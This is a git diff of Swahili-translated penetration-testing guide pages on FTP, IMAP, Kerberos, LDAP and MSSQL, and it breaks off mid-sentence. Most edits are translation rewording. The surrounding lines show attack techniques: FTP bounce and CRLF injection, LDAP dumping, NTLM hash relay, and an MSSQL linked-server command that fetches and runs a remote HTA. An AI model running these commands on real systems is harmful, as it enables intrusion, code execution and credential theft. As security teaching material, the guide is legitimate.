b/src/network-services-pentesting/pentesting-ftp/README.md @@ -115,7 +115,7 @@ Unaweza kuungana na seva ya FTP kwa kutumia kivinjari (kama Firefox) kwa kutumia ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Kumbuka kwamba ikiwa **programu ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma double URL encode `%0d%0a` (katika double URL encode hii ni `%250d%250a`) bytes na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Mojawapo ya vitendo hivi vya kiholela ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya skanning ya port au kujaribu kuzungumza na huduma zingine za msingi wa maandiko ya wazi (kama http). +Kumbuka kwamba ikiwa **programu ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma uandishi wa URL mara mbili `%0d%0a` (katika uandishi wa URL mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Mojawapo ya vitendo hivi vya kiholela ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya skanning ya bandari au kujaribu kuzungumza na huduma zingine za msingi wa maandiko ya wazi (kama http). ## Pakua faili zote kutoka FTP ```bash @@ -131,17 +131,17 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** Seva inadhihirisha amri zipi zinakubaliwa -- **`PORT 127,0,0,1,0,80`** Hii itamwambia seva ya FTP kuanzisha muunganisho na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa desimali au tumia herufi za 5 na 6 kuonyesha bandari kwa hex_). +- **`PORT 127,0,0,1,0,80`** Hii itamwambia seva ya FTP kuanzisha muunganisho na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa desimali au tumia ya 5 na 6 kuonyesha bandari kwa hex_). - **`EPRT |2|127.0.0.1|80|`** Hii itamwambia seva ya FTP kuanzisha muunganisho wa TCP (_unaonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inasaidia IPv6**. - **`LIST`** Hii itatuma orodha ya faili katika folda ya sasa - **`LIST -R`** Orodha kwa njia ya kurudi (ikiwa inaruhusiwa na seva) -- **`APPE /path/something.txt`** Hii itamwambia FTP kuhifadhi data iliyopokelewa kutoka kwa muunganisho wa **passive** au kutoka kwa muunganisho wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, litazidisha data. +- **`APPE /path/something.txt`** Hii itamwambia FTP kuhifadhi data iliyopokelewa kutoka kwa muunganisho **wa passiv** au kutoka kwa muunganisho **wa PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, litazidisha data. - **`STOR /path/something.txt`** Kama `APPE` lakini itafuta faili - **`STOU /path/something.txt`** Kama `APPE`, lakini ikiwa ipo haitafanya chochote. -- **`RETR /path/to/file`** Muunganisho wa passive au wa bandari lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyoonyeshwa kupitia muunganisho huo +- **`RETR /path/to/file`** Muunganisho wa passiv au wa bandari lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyoonyeshwa kupitia muunganisho huo - **`REST 6`** Hii itamwambia seva kwamba wakati wa kutuma kitu kwa kutumia `RETR` inapaswa kuanza kwenye byte ya 6. - **`TYPE i`** Weka uhamishaji kuwa wa binary -- **`PASV`** Hii itafungua muunganisho wa passive na itamwambia mtumiaji wapi anaweza kuunganishwa +- **`PASV`** Hii itafungua muunganisho wa passiv na itamwambia mtumiaji wapi anaweza kuunganishwa - **`PUT /tmp/file.txt`** Pakia faili iliyoonyeshwa kwenye FTP ![](<../../images/image (386).png>) @@ -150,13 +150,13 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ Seva zingine za FTP zinaruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuungana na seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuchunguza ni bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP. -[**Jifunze hapa jinsi ya kutumia seva ya FTP kuchunguza bandari.**](ftp-bounce-attack.md) +[**Learn here how to abuse a FTP server to scan ports.**](ftp-bounce-attack.md) Unaweza pia kutumia tabia hii kufanya seva ya FTP ishughulike na protokali nyingine. Unaweza **kupakia faili inayoshikilia ombi la HTTP** na kufanya seva ya FTP iliyo hatarini **itume kwa seva ya HTTP isiyo na mpangilio** (_labda kuongeza mtumiaji mpya wa admin?_) au hata kupakia ombi la FTP na kufanya seva ya FTP iliyo hatarini ipakue faili kutoka seva nyingine ya FTP.\ Nadharia ni rahisi: 1. **Pakia ombi (ndani ya faili ya maandiko) kwenye seva iliyo hatarini.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari kwa `0x0d 0x0a` -2. **Tumia `REST X` ili kuepuka kutuma herufi ambazo hutaki kutuma** (labda ili kupakia ombi ndani ya faili unahitaji kuweka kichwa cha picha mwanzoni) +2. **Tumia `REST X` ili kuepuka kutuma wahusika usiotaka kutuma** (labda ili kupakia ombi ndani ya faili unahitaji kuweka kichwa cha picha mwanzoni) 3. **Tumia `PORT` kuungana na seva na huduma isiyo na mpangilio** 4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwa seva.** @@ -175,7 +175,7 @@ Hata hivyo, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ## Filezilla Server Vulnerability -**FileZilla** kawaida **huunganisha** na **local** huduma ya **Administrative** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** ili kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP. +**FileZilla** kawaida **huunganisha** na **local** huduma ya **Administrative** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP. ## Config files ``` diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index fba2b9ba1..44caecbfb 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,7 +4,7 @@ ## Internet Message Access Protocol -The **Internet Message Access Protocol (IMAP)** imeundwa kwa lengo la kuwapa watumiaji **ufikiaji wa ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kwa msingi, barua pepe zina **hifadhiwa kwenye seva** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa binafsi cha mtu. Hii ina maana kwamba wakati barua pepe inafikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwa seva**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka **kwa vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unakosa bila kujali kifaa kinachotumika. +The **Internet Message Access Protocol (IMAP)** imeundwa kwa lengo la kuwapa watumiaji **ufikiaji wa ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kwa msingi, barua pepe zina **hifadhiwa kwenye seva** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa binafsi cha mtu. Hii ina maana kwamba wakati barua pepe inafikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye seva**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka **kwa vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unakosa bila kujali kifaa kinachotumika. Kwa kawaida, itifaki ya IMAP inafanya kazi kwenye port mbili: @@ -14,7 +14,7 @@ Kwa kawaida, itifaki ya IMAP inafanya kazi kwenye port mbili: PORT STATE SERVICE REASON 143/tcp open imap syn-ack ``` -## Kupata bendera +## Banner grabbing ```bash nc -nv 143 openssl s_client -connect :993 -quiet @@ -91,7 +91,7 @@ apt install evolution ### CURL -Mwelekeo wa msingi unaweza kufanywa kwa [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni bora kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi. +Mwelekeo wa msingi unaweza kufanywa na [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni bora kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi. 1. Kuorodhesha masanduku ya barua (imap command `LIST "" "*"`) ```bash @@ -113,7 +113,7 @@ Muonekano mzuri wa maneno ya kutafuta yanayowezekana unapatikana [hapa](https:// ```bash curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` -Index ya barua itakuwa sawa na index inayorejeshwa kutoka kwa operesheni ya kutafuta. +Index ya barua pepe itakuwa sawa na index inayorejeshwa kutoka kwa operesheni ya kutafuta. Pia inawezekana kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni vigumu kidogo kwani amri ya kutafuta inahitaji kuandikwa kwa mikono. Mfano: ```bash diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 2b3bd388e..e3e2cbbdd 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -31,7 +31,7 @@ Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerbe https://adsecurity.org/?p=541 {{#endref}} -Mifano mingine: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) +Mizengwe mingine: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) ## HackTricks Amri za Otomatiki ``` diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index d76bb8497..db5f5c1f6 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -4,7 +4,7 @@ Matumizi ya **LDAP** (Lightweight Directory Access Protocol) ni hasa kwa kutafuta vitu mbalimbali kama mashirika, watu, na rasilimali kama faili na vifaa ndani ya mitandao, ya umma na binafsi. Inatoa njia iliyo rahisi ikilinganishwa na mtangulizi wake, DAP, kwa kuwa na alama ndogo ya msimbo. -Maktaba za LDAP zimeundwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina **toleo lililorekebishwa** na **lililosawazishwa** la maktaba, linalojulikana kama Agent ya Mfumo wa Maktaba (DSA). Wajibu wa kushughulikia maombi uko kabisa na seva ya LDAP, ambayo inaweza kuwasiliana na DSAs wengine inapohitajika ili kutoa jibu lililounganishwa kwa mombaji. +Maktaba za LDAP zimeundwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina **toleo lililorekebishwa** na **lililosawazishwa** la maktaba, linalojulikana kama Agent ya Mfumo wa Maktaba (DSA). Wajibu wa kushughulikia maombi uko kabisa na seva ya LDAP, ambayo inaweza kuwasiliana na DSAs wengine inapohitajika kutoa jibu lililounganishwa kwa mombaji. Muundo wa maktaba ya LDAP unafanana na **hifadhi ya miti, ikianza na maktaba ya mzizi juu**. Hii inajitenga hadi nchi, ambazo zinagawanyika zaidi katika mashirika, na kisha katika vitengo vya shirika vinavyowakilisha sehemu mbalimbali au idara, hatimaye kufikia kiwango cha vitu binafsi, ikiwa ni pamoja na watu na rasilimali zinazoshirikiwa kama faili na printers. @@ -16,7 +16,7 @@ PORT STATE SERVICE REASON ``` ### LDAP Data Interchange Format -LDIF (LDAP Data Interchange Format) inafafanua maudhui ya directory kama seti ya rekodi. Inaweza pia kuwakilisha maombi ya sasisho (Ongeza, Badilisha, Futa, Badilisha jina). +LDIF (LDAP Data Interchange Format) inafafanua maudhui ya directory kama seti ya rekodi. Inaweza pia kuwakilisha maombi ya sasisho (Ongeza, Badilisha, Futa, Pata jina jipya). ```bash dn: dc=local dc: local @@ -82,12 +82,12 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonymous binds -[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) huruhusu **washambuliaji wasio na uthibitisho** kupata taarifa kutoka kwenye eneo, kama vile orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti za watumiaji, na sera ya nenosiri la eneo. Hii ni **mipangilio ya urithi**, na kuanzia Windows Server 2003, ni watumiaji walio na uthibitisho pekee wanaoruhusiwa kuanzisha maombi ya LDAP.\ +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) inaruhusu **washambuliaji wasio na uthibitisho** kupata taarifa kutoka kwa eneo, kama vile orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti za watumiaji, na sera ya nenosiri la eneo. Hii ni **mipangilio ya urithi**, na kuanzia Windows Server 2003, ni watumiaji walio na uthibitisho pekee ndio wanaruhusiwa kuanzisha maombi ya LDAP.\ Hata hivyo, wasimamizi wanaweza kuwa walihitaji **kuanzisha programu maalum ili kuruhusu anonymous binds** na kutoa zaidi ya kiwango kilichokusudiwa cha ufikiaji, hivyo kuwapa watumiaji wasio na uthibitisho ufikiaji wa vitu vyote katika AD. ## Valid Credentials -Ikiwa una sifa halali za kuingia kwenye seva ya LDAP, unaweza kutupa taarifa zote kuhusu Domain Admin kwa kutumia: +Ikiwa una sifa halali za kuingia kwenye seva ya LDAP, unaweza kutupa taarifa zote kuhusu Msimamizi wa Eneo kwa kutumia: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash @@ -189,7 +189,7 @@ Tafuta **watumiaji**: ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` -**kompyuta** +Tenga **kompyuta**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` @@ -205,7 +205,7 @@ Kutoa **Watumiaji wa Kikoa**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Tafuta **Enterprise Admins**: +Kutoa **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` @@ -286,7 +286,7 @@ Kwa kawaida imewekwa katika: _/opt/jxplorer_ ### Godap -Godap ni kiolesura cha mtumiaji wa terminal kinachoweza kutumika kuingiliana na vitu na sifa katika AD na seva nyingine za LDAP. Inapatikana kwa Windows, Linux na MacOS na inasaidia viunganishi rahisi, pass-the-hash, pass-the-ticket & pass-the-cert, pamoja na vipengele vingine maalum kama vile kutafuta/kutengeneza/kubadilisha/kufuta vitu, kuongeza/kuondoa watumiaji kutoka kwa vikundi, kubadilisha nywila, kuhariri ruhusa za kitu (DACLs), kubadilisha DNS iliyounganishwa na Active-Directory (ADIDNS), kusafirisha kwa faili za JSON, nk. +Godap ni kiolesura cha mtumiaji wa terminal kinachoweza kutumika kwa LDAP ambacho kinaweza kutumika kuingiliana na vitu na sifa katika AD na seva nyingine za LDAP. Inapatikana kwa Windows, Linux na MacOS na inasaidia viunganishi rahisi, pass-the-hash, pass-the-ticket & pass-the-cert, pamoja na vipengele vingine maalum kama vile kutafuta/kutengeneza/kubadilisha/kufuta vitu, kuongeza/kuondoa watumiaji kutoka kwa vikundi, kubadilisha nywila, kuhariri ruhusa za kitu (DACLs), kubadilisha DNS iliyounganishwa na Active-Directory (ADIDNS), kusafirisha kwa faili za JSON, nk. ![](../images/godap.png) @@ -310,11 +310,11 @@ Ikiwa unaweza kufikia faili ambapo hifadhidata zinapatikana (zinaweza kuwa katik ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -Unaweza kumlisha john na hash ya nenosiri (kutoka '{SSHA}' hadi 'structural' bila kuongeza 'structural'). +You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural'). -### Faili za Mipangilio +### Configuration Files -- Jumla +- General - containers.ldif - ldap.cfg - ldap.conf @@ -335,7 +335,7 @@ Unaweza kumlisha john na hash ya nenosiri (kutoka '{SSHA}' hadi 'structural' bil - Sun ONE Directory Server 5.1 - 75sas.ldif -## HackTricks Amri za Otomatiki +## HackTricks Automatic Commands ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 67a57ff61..e8a65ec25 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -16,7 +16,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server. - **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi. -- **model Database**: Inafanya kazi kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa. +- **model Database**: Inatumika kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa. - **Resource Database**: Database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika Resource database, vinawasilishwa kimaadili katika schema ya sys ya kila database. - **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati. @@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo. +> Ikiwa **huna** **akreditif** unaweza kujaribu kuzikisia. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo. -#### Metasploit (inahitaji vithibitisho) +#### Metasploit (inahitaji akreditif) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used @@ -155,14 +155,14 @@ SELECT * FROM sysusers ``` #### Pata Ruhusa -1. **Securable:** Mambo yanayofafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimegawanywa katika: -- **Server** – Mifano ni pamoja na hifadhidata, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva. -- **Database** – Mifano inajumuisha jukumu la hifadhidata, majukumu ya programu, muundo, vyeti, katalogi za maandiko kamili, na watumiaji. -- **Schema** – Inajumuisha meza, maoni, taratibu, kazi, majina sawa, n.k. -2. **Permission:** Inahusishwa na securables za SQL Server, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili: +1. **Securable:** Mambo yanayofafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa ajili ya udhibiti wa ufikiaji. Hizi zimegawanywa katika: +- **Server** – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles. +- **Database** – Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na watumiaji. +- **Schema** – Inajumuisha tables, views, procedures, functions, synonyms, n.k. +2. **Permission:** Inahusishwa na SQL Server securables, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili: - **Server Level** kwa kutumia logins - **Database Level** kwa kutumia watumiaji -3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa hifadhidata. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yaliyo na haki za ufikiaji. +3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa database. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika roles zilizo na haki za ufikiaji. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Execute OS Commands > [!CAUTION] -> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye `xp_cmdshell` stored procedure**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa kutumia: +> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye `xp_cmdshell` stored procedure**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa: > > ```sql > Use master @@ -234,7 +234,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` -### Kuiba NetNTLM hash / Shambulio la Relay +### Kununua NetNTLM hash / Shambulio la Relay Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika uthibitishaji (`impacket-smbserver` au `responder` kwa mfano). ```bash @@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Unaweza kuangalia ni nani (bila ya sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia: +> Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia: > > ```sql > Use master; @@ -276,7 +276,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### Kutumia Viungo vya MSSQL vilivyoaminika +### Kutumia Viungo vya Kuaminika vya MSSQL [**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:** @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Soma faili na** OPENROWSET -Kwa kawaida, `MSSQL` inaruhusu kusoma faili **katika faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo: +Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo wa uendeshaji ambayo akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -370,13 +370,13 @@ Kwa **mfano zaidi** angalia [**chanzo asilia**](https://blog.waynesheffield.com/ ### RCE na MSSQL User Defined Function - SQLHttp -Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Administrator**. +Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Msimamizi**. [**Fuata kiungo hiki**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) kuona mfano. ### RCE na `autoadmin_task_agents` -Kulingana na [**chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama: +Kulingana na [**post hii**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` @@ -438,7 +438,7 @@ Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [extended s ### Kutoka db_owner hadi sysadmin -Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi vibaya ili **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**). +Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi kwa **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -482,7 +482,7 @@ Au **PS** script: Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` -### Ujumuishaji wa watumiaji wengine +### Ujanja wa watumiaji wengine SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kimalizike. ```sql @@ -533,7 +533,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers -Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa ajili ya Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords) Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, unapaswa kuwa na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server. @@ -543,7 +543,7 @@ Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni ya 2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806. 3. Wezesha muunganisho wa usimamizi wa mbali. -Ili kujiandaa kwa usanidi huu, [hii hazina ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)ina skripti zinazohitajika. Mbali na kuwa na skripti za powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila. +Ili kujiandaa kwa usanidi huu, [hii hazina](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila. Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Nywila za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) @@ -551,8 +551,8 @@ Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Ny ## Kuinua Haki za Mitaa -Mtumiaji anayekimbia MSSQL server atakuwa amewezesha 